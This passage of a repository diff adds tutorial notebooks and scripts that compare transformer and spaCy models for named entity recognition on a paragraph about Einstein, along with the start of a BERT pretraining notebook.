In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the \n", + "\n", + " Swiss\n", + " B-MISC\n", + "\n", + " Federal polytechnic school in \n", + "\n", + " Zürich\n", + " B-LOC\n", + "\n", + ", graduating in 1900
" + ] + }, + "metadata": {} + } + ] + }, + { + "cell_type": "code", + "source": [ + "# load roberta-large model\n", + "ner2 = pipeline(\"ner\", model=\"xlm-roberta-large-finetuned-conll03-english\")" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000, + "referenced_widgets": [ + "c657666a56c5407bbafbe0f89549c382", + "0312455f52014d9e9a77c392efcd6e41", + "7670ce59ba884342b7864a1c2c954b32", + "6d51b244fd8a46a893fea991ebeb938e", + "df27715317114bab8097d28be8dbaf7d", + "7065a22bffa94dfe8cd0ec1d7b63f248", + "062952d272424f9681299d8e331e313f", + "1bb8fe2cb34e4d8e86047968c5d035c8", + "ffecfcd5d91c4334ad10dad18308db97", + "93b9aabe280e43649c8127be38c004be", + "d525c841015b47da85324c6687e6b065", + "58bc5fceab2c4b0b92d21e070b34b581", + "9a3ca2c1215c466aa819c3fc1c9d8ec6", + "a7b39fce6da5420391a98688d9241a62", + "72e9ee98d60e4f60ba12c4e782f00466", + "6afd50ae2ac44bf6ab99e590431a471f", + "9509d4b508bc41a299cc4bc034b2ed37", + "a474f5b8646e4046abcdc3d367c52487", + "fcdefb7c64954b85b0884eade938947c", + "ab180c360bea41cbae7e259b4870881a", + "7bb499242c7a47128633ac85aa08b585", + "ed72bfb634f34fea85262888914d465d", + "fa5899bf62de41949e2fb249fd43ea05", + "8e1ab0c2d369447ca87f5df903216a63", + "6a24ccf99d6f43f7bcc660737fb49b34", + "adb3b5ca099a4ed89d72b4aec37e705c", + "bdaa096547e2437d9c50935fad091035", + "bb760d1c151445669c8cbaad55fb2bd9", + "8b10f855df2342f29281dbfbf884bab3", + "6f615702700f45558b2c225905075139", + "d94cd821f1584b0288c7950d98dc1b94", + "7f1841539e7f4c7b84504eda31136f27", + "24f2c7bfd6a14a888f92d3b25a867805", + "8e202bee8a6d40bfa5bfedcecf0c1539", + "19d7d3a0c7404b53ab32d4148837334d", + "80f7c5b4a88d421d98a4973c3a045c65", + "ccd2f7cedea546f3b6e682f7d0827af2", + "84530f87cd444509aedb0e67f2421153", + "ce79218e754a4ea48c7116dbbac6cca9", + "db82edbb668d459c86bac6842a17faed", + "74c20f14d65f46138766f4dd661d0e6f", + "e0494d8c8ae4444d9884498446e4cf1b", + "456f6d9ce4554a3b9ff6fcb5b6918bb2", + "35c7c39562724525bc6c211187584f41" + ] + }, + "id": "jXfH-mvl4VgJ", + "outputId": "fba4d857-4c25-4afc-b4e1-b70e2934f22d" + }, + "execution_count": 10, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/config.json%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmpbumktoj0/n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "Downloading: 0%| | 0.00/852 [00:00" + ], + "text/html": [ + "

\n", + "\n", + " Albert Einstein\n", + " I-PER\n", + "\n", + " was a \n", + "\n", + " German\n", + " I-MISC\n", + "\n", + "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time.
\n", + "\n", + " Einstein\n", + " I-PER\n", + "\n", + " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.
\n", + "\n", + " Einstein\n", + " I-PER\n", + "\n", + " was born in the \n", + "\n", + " German Empire\n", + " I-LOC\n", + "\n", + ", but moved to \n", + "\n", + " Switzerland\n", + " I-LOC\n", + "\n", + " in 1895, forsaking his \n", + "\n", + " German\n", + " I-MISC\n", + "\n", + " citizenship (as a subject of the \n", + "\n", + " Kingdom of Württemberg\n", + " I-LOC\n", + "\n", + ") the following year.
In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the \n", + "\n", + " Swiss\n", + " I-MISC\n", + "\n", + " \n", + "\n", + " Federal\n", + " I-ORG\n", + "\n", + " polytechnic school in \n", + "\n", + " Zürich\n", + " I-LOC\n", + "\n", + ", graduating in 1900
" + ] + }, + "metadata": {} + } + ] + }, + { + "cell_type": "code", + "source": [ + "# load yet another roberta-large model\n", + "ner3 = pipeline(\"ner\", model=\"Jean-Baptiste/roberta-large-ner-english\")" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000, + "referenced_widgets": [ + "10dc3d59148a45c98c0888922053cd30", + "8238e0fa7fad46b2ad653d5e970416aa", + "b1a8d8d4fe2846fd8e374a70b20a8320", + "95d2768742124d678b7754c54ee7acd2", + "6bc73766fcd14b5ba5cb7db4097bc5bd", + "3c2c01de9b6a4b3e88208a50cf2c4789", + "c5345c5a0b924c4c83c407254a331dfc", + "f7ecc57fd8f94f7e8e724f478cd25460", + "863aadd6cf2d44f38e6dec546229e463", + "ab2265da58fd4ec087d2558da9caf218", + "dd09bc2b4be249e6bfa3d25081cdb4ca", + "f7227b1a6b514a8b98ebfa5ea8223846", + "4fc16ee2d6014dfeb8d94272f7563db7", + "b2dba9ee275e4862931fdf6859c62346", + "67f2b09fbc9842f685d33b395de968fa", + "adfa9ac6fced446eb933ff6de2b056b3", + "6268c61c743048baada2e5d2373b49a6", + "03d68213295e4dc8a697e78d4de9b2ca", + "2c2b23a1ebf240578067e3aa1afefe72", + "f5b32a225df141eab8eec62d304e12bf", + "bcdc87715af148eba9084540db350022", + "c434495f90f54e46833eb5cb93ca5135", + "fc5039ea3e374089b682dd227e458c1a", + "2d502c94689e443a84af77b5c76e72ee", + "dcb7b57331f14412b3d8067417bd676b", + "9a9fb522095f4135b5d7871efd783232", + "136c0be282d54310bfbb2df86a263620", + "1a47774c8a494d72b9a95d4e58c7940f", + "a0db4c076ade457aacf4070cf2779dff", + "ef513e242722470f9bdcd4535456ae7c", + "a6933cc4c4e049c3aa65b4a1fe707f11", + "1bb3934ad28f4888b8d7d8226e29f84e", + "474e40aa487f4399a63797bc082d1327", + "944566712b18476288a33c8782b44099", + "565aa92b312740c2814a848d06cd1579", + "e6128cd96bf142228293bc74045242da", + "d8bdca0500fe4a9e9fab75edba46af84", + "ad06bac1ce8346c2adc989acc55e888c", + "73a9f075b21e4da1bec000014173283f", + "193773bef4394845a1338419390b76d1", + "a65f0ca4aaa24240801314983191c170", + "d887c728f5504e6eaf95b07971447ea6", + "fcdb377579fc45a4a84e96f0113874ef", + "f1e68bd4977b4353b7fe5ce953642ef1", + "29bb664e63714f4d8b872fb088728ba8", + "5949c51fdbe4434a9d0907360583db3f", + "7f57024773464cfd821e50d3e08acbbb", + "edfb5a81ddd84ca8a7d2e742d8845958", + "0205d03218744ef3b4afd2f6b6e29b12", + "73da2e3ca1b24ea9b004209805d02ac7", + "27ee464a1b5447d9b563d55173a8c07d", + "0dda3c57f4914e3b912f90adc2c6bccc", + "b63eacd563084ced8e20e7066c00862c", + "e5508e7cab9d44928b87de799565d06d", + "11b5a188505f4616924db47def095842", + "98fbd9a86ab040ee90c6a57f62272da3", + "0f6e8126647e4d87a4cf6d9f053d81e5", + "0aff7168112c471d92c5e42ec863e6e5", + "bdde94a266814343a2a5b2472ce46936", + "904492fdd3b54ca88efbc511de296892", + "321a6f9cef534ce4b0f7843ef9f0eb40", + "c1f46ad40e1f40aca9e0715209b8deca", + "7141101f202a4ed18d67f78610d95317", + "1090f354af9f4ac7a32b3ac7a61492f4", + "e21406b5c4e045b5a6fd756446b02fcb", + "a5bf24200bf644a0a8dfb7ff184125f5" + ] + }, + "id": "4cIpMKTV7Lc6", + "outputId": "190b38fb-2d77-46d6-e2ed-33fb4241f399" + }, + "execution_count": 13, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/config.json%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmp9fr9adgj/n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "Downloading: 0%| | 0.00/849 [00:00" + ], + "text/html": [ + "

\n", + "\n", + " Albert Einstein\n", + " PER\n", + "\n", + " was a \n", + "\n", + " German-born\n", + " MISC\n", + "\n", + " theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time.
\n", + "\n", + " Einstein\n", + " PER\n", + "\n", + " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.
\n", + "\n", + " Einstein\n", + " PER\n", + "\n", + " was born in the \n", + "\n", + " German Empire\n", + " LOC\n", + "\n", + ", but moved to \n", + "\n", + " Switzerland\n", + " LOC\n", + "\n", + " in 1895, forsaking his \n", + "\n", + " German\n", + " MISC\n", + "\n", + " citizenship (as a subject of the \n", + "\n", + " Kingdom of Württemberg\n", + " LOC\n", + "\n", + ") the following year.
In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the \n", + "\n", + " Swiss\n", + " MISC\n", + "\n", + " \n", + "\n", + " Federal\n", + " ORG\n", + "\n", + " polytechnic school in \n", + "\n", + " Zürich\n", + " LOC\n", + "\n", + ", graduating in 1900
" + ] + }, + "metadata": {} + } + ] + }, + { + "cell_type": "code", + "source": [ + "# load the English CPU-optimized pipeline\n", + "nlp = spacy.load(\"en_core_web_sm\")" + ], + "metadata": { + "id": "HnQ0WmxfPML7" + }, + "execution_count": 16, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "# predict the entities\n", + "doc = nlp(text)" + ], + "metadata": { + "id": "vkiI1J52PRrA" + }, + "execution_count": 17, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "# display the doc with jupyter mode\n", + "spacy.displacy.render(doc, style=\"ent\", jupyter=True)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 192 + }, + "id": "qyCTpWSzPVyq", + "outputId": "4a9582fd-253b-4b6e-ae11-ced1a0d4dae7" + }, + "execution_count": 18, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "text/html": [ + "

\n", + "\n", + " Albert Einstein\n", + " PERSON\n", + "\n", + " was a \n", + "\n", + " German\n", + " NORP\n", + "\n", + "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time.
\n", + "\n", + " Einstein\n", + " PERSON\n", + "\n", + " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of \n", + "\n", + " quantum mechanics\n", + " ORG\n", + "\n", + ".
\n", + "\n", + " Einstein\n", + " PERSON\n", + "\n", + " was born in \n", + "\n", + " the German Empire\n", + " GPE\n", + "\n", + ", but moved to \n", + "\n", + " Switzerland\n", + " GPE\n", + "\n", + " in \n", + "\n", + " 1895\n", + " DATE\n", + "\n", + ", forsaking his \n", + "\n", + " German\n", + " NORP\n", + "\n", + " citizenship (as a subject of \n", + "\n", + " the Kingdom of Württemberg\n", + " GPE\n", + "\n", + ") \n", + "\n", + " the following year\n", + " DATE\n", + "\n", + ".
In \n", + "\n", + " 1897\n", + " DATE\n", + "\n", + ", at \n", + "\n", + " the age of 17\n", + " DATE\n", + "\n", + ", he enrolled in the mathematics and physics teaching diploma program at the \n", + "\n", + " Swiss\n", + " NORP\n", + "\n", + " Federal polytechnic school in \n", + "\n", + " Zürich\n", + " GPE\n", + "\n", + ", graduating in \n", + "\n", + " 1900\n", + " DATE\n", + "\n", + "
" + ] + }, + "metadata": {} + } + ] + }, + { + "cell_type": "code", + "source": [ + "# load the English transformer pipeline (roberta-base) using spaCy\n", + "nlp_trf = spacy.load('en_core_web_trf')" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ISyXFbhSuBHK", + "outputId": "c19d3750-2cc6-4b57-f4f9-8d881e12cf5d" + }, + "execution_count": 19, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "loading configuration file /tmp/tmpsi87034g/config.json\n", + "Model config RobertaConfig {\n", + " \"_name_or_path\": \"/tmp/tmpsi87034g/config.json\",\n", + " \"architectures\": [\n", + " \"RobertaForMaskedLM\"\n", + " ],\n", + " \"attention_probs_dropout_prob\": 0.1,\n", + " \"bos_token_id\": 0,\n", + " \"classifier_dropout\": null,\n", + " \"eos_token_id\": 2,\n", + " \"hidden_act\": \"gelu\",\n", + " \"hidden_dropout_prob\": 0.1,\n", + " \"hidden_size\": 768,\n", + " \"initializer_range\": 0.02,\n", + " \"intermediate_size\": 3072,\n", + " \"layer_norm_eps\": 1e-05,\n", + " \"max_position_embeddings\": 514,\n", + " \"model_type\": \"roberta\",\n", + " \"num_attention_heads\": 12,\n", + " \"num_hidden_layers\": 12,\n", + " \"pad_token_id\": 1,\n", + " \"position_embedding_type\": \"absolute\",\n", + " \"transformers_version\": \"4.17.0\",\n", + " \"type_vocab_size\": 1,\n", + " \"use_cache\": true,\n", + " \"vocab_size\": 50265\n", + "}\n", + "\n", + "Didn't find file /tmp/tmpsi87034g/added_tokens.json. We won't load it.\n", + "loading file /tmp/tmpsi87034g/vocab.json\n", + "loading file /tmp/tmpsi87034g/merges.txt\n", + "loading file /tmp/tmpsi87034g/tokenizer.json\n", + "loading file None\n", + "loading file /tmp/tmpsi87034g/special_tokens_map.json\n", + "loading file /tmp/tmpsi87034g/tokenizer_config.json\n" + ] + } + ] + }, + { + "cell_type": "code", + "source": [ + "# perform inference on the model\n", + "doc_trf = nlp_trf(text)\n", + "# display the doc with jupyter mode\n", + "spacy.displacy.render(doc_trf, style=\"ent\", jupyter=True)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 228 + }, + "id": "nKnLbTK0Aakz", + "outputId": "c55ddd55-07c9-4717-fdbd-cd4b2b4a7d79" + }, + "execution_count": 20, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "/usr/local/lib/python3.7/dist-packages/torch/autocast_mode.py:141: UserWarning: User provided device_type of 'cuda', but CUDA is not available. Disabling\n", + " warnings.warn('User provided device_type of \\'cuda\\', but CUDA is not available. Disabling')\n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "text/html": [ + "

\n", + "\n", + " Albert Einstein\n", + " PERSON\n", + "\n", + " was a \n", + "\n", + " German\n", + " NORP\n", + "\n", + "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time.
\n", + "\n", + " Einstein\n", + " PERSON\n", + "\n", + " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.
\n", + "\n", + " Einstein\n", + " PERSON\n", + "\n", + " was born in \n", + "\n", + " the German Empire\n", + " GPE\n", + "\n", + ", but moved to \n", + "\n", + " Switzerland\n", + " GPE\n", + "\n", + " in \n", + "\n", + " 1895\n", + " DATE\n", + "\n", + ", forsaking his \n", + "\n", + " German\n", + " NORP\n", + "\n", + " citizenship (as a subject of \n", + "\n", + " the Kingdom of Württemberg\n", + " GPE\n", + "\n", + ") \n", + "\n", + " the following year\n", + " DATE\n", + "\n", + ".
In \n", + "\n", + " 1897\n", + " DATE\n", + "\n", + ", at \n", + "\n", + " the age of 17\n", + " DATE\n", + "\n", + ", he enrolled in the mathematics and physics teaching diploma program at the \n", + "\n", + " Swiss Federal\n", + " ORG\n", + "\n", + " polytechnic school in \n", + "\n", + " Zürich\n", + " GPE\n", + "\n", + ", graduating in \n", + "\n", + " 1900\n", + " DATE\n", + "\n", + "
" + ] + }, + "metadata": {} + } + ] + } + ] +} \ No newline at end of file diff --git a/machine-learning/nlp/named-entity-recognition/README.md b/machine-learning/nlp/named-entity-recognition/README.md new file mode 100644 index 00000000..7386cbd4 --- /dev/null +++ b/machine-learning/nlp/named-entity-recognition/README.md @@ -0,0 +1 @@ +# [Named Entity Recognition using Transformers and Spacy in Python](https://www.thepythoncode.com/article/named-entity-recognition-using-transformers-and-spacy) \ No newline at end of file diff --git a/machine-learning/nlp/named-entity-recognition/ner.py b/machine-learning/nlp/named-entity-recognition/ner.py new file mode 100644 index 00000000..67d51370 --- /dev/null +++ b/machine-learning/nlp/named-entity-recognition/ner.py @@ -0,0 +1,111 @@ +# %% +# !pip install --upgrade transformers sentencepiece + +# %% +# !pip install https://github.com/explosion/spacy-models/releases/download/en_core_web_trf-3.2.0/en_core_web_trf-3.2.0-py3-none-any.whl + +# %% +# !python -m spacy download en_core_web_sm + +# %% +import spacy +from transformers import * + +# %% +# sample text from Wikipedia +text = """ +Albert Einstein was a German-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. +Einstein is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics. +Einstein was born in the German Empire, but moved to Switzerland in 1895, forsaking his German citizenship (as a subject of the Kingdom of Württemberg) the following year. +In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the Swiss Federal polytechnic school in Zürich, graduating in 1900 +""" + +# %% +# load BERT model fine-tuned for Named Entity Recognition (NER) +ner = pipeline("ner", model="dslim/bert-base-NER") + +# %% +# perform inference on the transformer model +doc_ner = ner(text) +# print the output +doc_ner + +# %% +def get_entities_html(text, ner_result, title=None): + """Returns a visual version of NER with the help of SpaCy""" + ents = [] + for ent in ner_result: + e = {} + # add the start and end positions of the entity + e["start"] = ent["start"] + e["end"] = ent["end"] + # add the score if you want in the label + # e["label"] = f"{ent["entity"]}-{ent['score']:.2f}" + e["label"] = ent["entity"] + if ents and -1 <= ent["start"] - ents[-1]["end"] <= 1 and ents[-1]["label"] == e["label"]: + # if the current entity is shared with previous entity + # simply extend the entity end position instead of adding a new one + ents[-1]["end"] = e["end"] + continue + ents.append(e) + # construct data required for displacy.render() method + render_data = [ + { + "text": text, + "ents": ents, + "title": title, + } + ] + return spacy.displacy.render(render_data, style="ent", manual=True, jupyter=True) + +# %% +# get HTML representation of NER of our text +get_entities_html(text, doc_ner) + +# %% +# load roberta-large model +ner2 = pipeline("ner", model="xlm-roberta-large-finetuned-conll03-english") + +# %% +# perform inference on this model +doc_ner2 = ner2(text) + +# %% +# get HTML representation of NER of our text +get_entities_html(text, doc_ner2) + +# %% +# load yet another roberta-large model +ner3 = pipeline("ner", model="Jean-Baptiste/roberta-large-ner-english") + +# %% +# perform inference on this model +doc_ner3 = ner3(text) + +# %% +# get HTML representation of NER of our text +get_entities_html(text, doc_ner3) + +# %% +# load the English CPU-optimized pipeline +nlp = spacy.load("en_core_web_sm") + +# %% +# predict the entities +doc = nlp(text) + +# %% +# display the doc with jupyter mode +spacy.displacy.render(doc, style="ent", jupyter=True) + +# %% +# load the English transformer pipeline (roberta-base) using spaCy +nlp_trf = spacy.load('en_core_web_trf') + +# %% +# perform inference on the model +doc_trf = nlp_trf(text) +# display the doc with jupyter mode +spacy.displacy.render(doc_trf, style="ent", jupyter=True) + + diff --git a/machine-learning/nlp/named-entity-recognition/requirements.txt b/machine-learning/nlp/named-entity-recognition/requirements.txt new file mode 100644 index 00000000..b9b86bea --- /dev/null +++ b/machine-learning/nlp/named-entity-recognition/requirements.txt @@ -0,0 +1,3 @@ +transformers +sentencepiece +https://github.com/explosion/spacy-models/releases/download/en_core_web_trf-3.2.0/en_core_web_trf-3.2.0-py3-none-any.whl \ No newline at end of file diff --git a/machine-learning/nlp/pretraining-bert/PretrainingBERT.ipynb b/machine-learning/nlp/pretraining-bert/PretrainingBERT.ipynb new file mode 100644 index 00000000..101cd312 --- /dev/null +++ b/machine-learning/nlp/pretraining-bert/PretrainingBERT.ipynb @@ -0,0 +1,3129 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "o4-qIq-Rt179", + "outputId": "b18fc480-eb9f-46d3-98a6-552fddb666aa" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Looking in indexes: https://pypi.org/simple, https://us-python.pkg.dev/colab-wheels/public/simple/\n", + "Collecting datasets\n", + " Downloading datasets-2.2.2-py3-none-any.whl (346 kB)\n", + "\u001b[K |████████████████████████████████| 346 kB 8.3 MB/s \n", + "\u001b[?25hCollecting transformers==4.18.0\n", + " Downloading transformers-4.18.0-py3-none-any.whl (4.0 MB)\n", + "\u001b[K |████████████████████████████████| 4.0 MB 45.3 MB/s \n", + "\u001b[?25hCollecting sentencepiece\n", + " Downloading sentencepiece-0.1.96-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.2 MB)\n", + "\u001b[K |████████████████████████████████| 1.2 MB 43.3 MB/s \n", + "\u001b[?25hRequirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from transformers==4.18.0) (21.3)\n", + "Collecting sacremoses\n", + " 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transformers, sentencepiece, datasets\n", + " Attempting uninstall: urllib3\n", + " Found existing installation: urllib3 1.24.3\n", + " Uninstalling urllib3-1.24.3:\n", + " Successfully uninstalled urllib3-1.24.3\n", + " Attempting uninstall: pyyaml\n", + " Found existing installation: PyYAML 3.13\n", + " Uninstalling PyYAML-3.13:\n", + " Successfully uninstalled PyYAML-3.13\n", + " Attempting uninstall: dill\n", + " Found existing installation: dill 0.3.5.1\n", + " Uninstalling dill-0.3.5.1:\n", + " Successfully uninstalled dill-0.3.5.1\n", + " Attempting uninstall: multiprocess\n", + " Found existing installation: multiprocess 0.70.13\n", + " Uninstalling multiprocess-0.70.13:\n", + " Successfully uninstalled multiprocess-0.70.13\n", + "\u001b[31mERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.\n", + "datascience 0.10.6 requires folium==0.2.1, but you have folium 0.8.3 which is incompatible.\u001b[0m\n", + "Successfully installed aiohttp-3.8.1 aiosignal-1.2.0 async-timeout-4.0.2 asynctest-0.13.0 datasets-2.2.2 dill-0.3.4 frozenlist-1.3.0 fsspec-2022.5.0 huggingface-hub-0.7.0 multidict-6.0.2 multiprocess-0.70.12.2 pyyaml-6.0 responses-0.18.0 sacremoses-0.0.53 sentencepiece-0.1.96 tokenizers-0.12.1 transformers-4.18.0 urllib3-1.25.11 xxhash-3.0.0 yarl-1.7.2\n" + ] + } + ], + "source": [ + "!pip install datasets transformers==4.18.0 sentencepiece" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "cJ5SzANft-Lx" + }, + "outputs": [], + "source": [ + "from datasets import *\n", + "from transformers import *\n", + "from tokenizers import *\n", + "import os\n", + "import json" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 166, + "referenced_widgets": [ + "7aa9b4e351a34a84a8aa6ad49aa5d74d", + "2f22301fd2984090be8adb6fe839e393", + "98d3d993e19d4f448cbca02235a850ac", + "8bec66cc71aa433ea55697d640988262", + "b45af68d650f445d97876e9b51d3f15a", + "e33fa1b90e9947e8858db2ef44969e37", + "f6363254e1fd40b88ec971851ad7e441", + "89fdcc82f49f4ab2b498bb5d46f9b73b", + "d34ef4b4dfb540e28f878df61f27ff26", + "6aa0294bb5b741f49883998b69accaba", + "f6721fa0034043138705c565a4b77b77", + "4df3ac00cfeb4441beb0c077578ce793", + "e549c9c30ce44951b93b1f9d4d1cfca1", + "9f7e7e08223343d5b78d5c2d8855640d", + "4aaff7ef487c4b5c915b2def2ab21759", + "99bbccd66c66489b96470d3e9caf1f1f", + "c082792cfdde4faab6bea631addceb00", + "2e10e57221ef46d695eb16fd25ec5e49", + "a77ad1702bf7439f87f7b1084d278717", + "241cca42438046aea2a9b4874f37c8b1", + "ba0b6327ac3740f79f66cb54d131f4fa", + "16fd5817ade84d92abeebb70952c926f", + "3f27b9cc5f104665a99a996c7ab3af1c", + "c73ea971834643fab70be84563d06f6a", + "653752175e3445ee8fd4651bd551b34d", + "34e85e0a8cf448828e27cb266626cb27", + "93b2d9dd8440496f8d1812993530dc05", + "fa06a799cfe8477a8e3a99a6dd99ca27", + "d4d1386f42534f8584d0c1e0428bd65b", + "788f92dcba3f4148bc4e88b5c4f9b28b", + "cfcf5950147d45e0bc3c8689b5b76073", + "5837dd25ab0645939444b94ab35e5db4", + "d78152622ecf4f3da35756557a802251", + "450625b8b8cb4ea18bd6e8d0807c0830", + "123f86c229c24496979269c09256d1e6", + "cdcc3c356d91458ba4be2f1a8b41f9da", + "66e0498023a64a109f4e18e030937e5e", + "bce52428773848faba37e3a41747b4e9", + "6d6b854ddcbc4113b941c8ba804e2877", + "e4be24ca306d4a5c8d4a8a1718225590", + "7a3d34b2e76a4d4b8b14ac5aefb3883f", + "ffd1f3803c154f68b9b921cfefc00604", + "4801d49b04044fa79f64afb3e4d0d89c", + "599a2e48109c4b25840754625c05af43" + ] + }, + "id": "QEvDxUpYuARd", + "outputId": "c0615e23-7592-4fb4-da1e-f33941fbb02b" + }, + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "7aa9b4e351a34a84a8aa6ad49aa5d74d", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "Downloading builder script: 0%| | 0.00/1.75k [00:00\", \"\"\n", + "]\n", + "# if you want to train the tokenizer on both sets\n", + "# files = [\"train.txt\", \"test.txt\"]\n", + "# training the tokenizer on the training set\n", + "files = [\"train.txt\"]\n", + "# 30,522 vocab is BERT's default vocab size, feel free to tweak\n", + "vocab_size = 30_522\n", + "# maximum sequence length, lowering will result to faster training (when increasing batch size)\n", + "max_length = 512\n", + "# whether to truncate\n", + "truncate_longer_samples = False" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "background_save": true + }, + "id": "-CVoZ3bC_j6K" + }, + "outputs": [], + "source": [ + "# initialize the WordPiece tokenizer\n", + "tokenizer = BertWordPieceTokenizer()\n", + "# train the tokenizer\n", + "tokenizer.train(files=files, vocab_size=vocab_size, special_tokens=special_tokens)\n", + "# enable truncation up to the maximum 512 tokens\n", + "tokenizer.enable_truncation(max_length=max_length)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "background_save": true + }, + "id": "vix0oz7XzI_w" + }, + "outputs": [], + "source": [ + "model_path = \"pretrained-bert\"\n", + "# make the directory if not already there\n", + "if not os.path.isdir(model_path):\n", + " os.mkdir(model_path)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "background_save": true + }, + "id": "vmeI9Vgx06VB", + "outputId": "5ce209ce-dd99-45a0-ed54-f42124be7305" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "['pretrained-bert/vocab.txt']" + ] + }, + "execution_count": null, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# save the tokenizer \n", + "tokenizer.save_model(model_path)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "background_save": true + }, + "id": "d-HZAthp0SNk" + }, + "outputs": [], + "source": [ + "# dumping some of the tokenizer config to config file, \n", + "# including special tokens, whether to lower case and the maximum sequence length\n", + "with open(os.path.join(model_path, \"config.json\"), \"w\") as f:\n", + " tokenizer_cfg = {\n", + " \"do_lower_case\": True,\n", + " \"unk_token\": \"[UNK]\",\n", + " \"sep_token\": \"[SEP]\",\n", + " \"pad_token\": \"[PAD]\",\n", + " \"cls_token\": \"[CLS]\",\n", + " \"mask_token\": \"[MASK]\",\n", + " \"model_max_length\": max_length,\n", + " \"max_len\": max_length,\n", + " }\n", + " json.dump(tokenizer_cfg, f)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "background_save": true + }, + "id": "OkJ_tU4B0jNf", + "outputId": "a632ee1e-b82d-4967-a83b-7ed4a70333c3" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "Didn't find file pretrained-bert/tokenizer.json. We won't load it.\n", + "Didn't find file pretrained-bert/added_tokens.json. We won't load it.\n", + "Didn't find file pretrained-bert/special_tokens_map.json. We won't load it.\n", + "Didn't find file pretrained-bert/tokenizer_config.json. We won't load it.\n", + "loading file pretrained-bert/vocab.txt\n", + "loading file None\n", + "loading file None\n", + "loading file None\n", + "loading file None\n", + "loading configuration file pretrained-bert/config.json\n", + "Model config BertConfig {\n", + " \"_name_or_path\": \"pretrained-bert\",\n", + " \"attention_probs_dropout_prob\": 0.1,\n", + " \"classifier_dropout\": null,\n", + " \"cls_token\": \"[CLS]\",\n", + " \"do_lower_case\": true,\n", + " \"hidden_act\": \"gelu\",\n", + " \"hidden_dropout_prob\": 0.1,\n", + " \"hidden_size\": 768,\n", + " \"initializer_range\": 0.02,\n", + " \"intermediate_size\": 3072,\n", + " \"layer_norm_eps\": 1e-12,\n", + " \"mask_token\": \"[MASK]\",\n", + " \"max_len\": 512,\n", + " \"max_position_embeddings\": 512,\n", + " \"model_max_length\": 512,\n", + " \"model_type\": \"bert\",\n", + " \"num_attention_heads\": 12,\n", + " \"num_hidden_layers\": 12,\n", + " \"pad_token\": \"[PAD]\",\n", + " \"pad_token_id\": 0,\n", + " \"position_embedding_type\": \"absolute\",\n", + " \"sep_token\": \"[SEP]\",\n", + " \"transformers_version\": \"4.18.0\",\n", + " \"type_vocab_size\": 2,\n", + " \"unk_token\": \"[UNK]\",\n", + " \"use_cache\": true,\n", + " \"vocab_size\": 30522\n", + "}\n", + "\n", + "loading configuration file pretrained-bert/config.json\n", + "Model config BertConfig {\n", + " \"_name_or_path\": \"pretrained-bert\",\n", + " \"attention_probs_dropout_prob\": 0.1,\n", + " \"classifier_dropout\": null,\n", + " \"cls_token\": \"[CLS]\",\n", + " \"do_lower_case\": true,\n", + " \"hidden_act\": \"gelu\",\n", + " \"hidden_dropout_prob\": 0.1,\n", + " \"hidden_size\": 768,\n", + " \"initializer_range\": 0.02,\n", 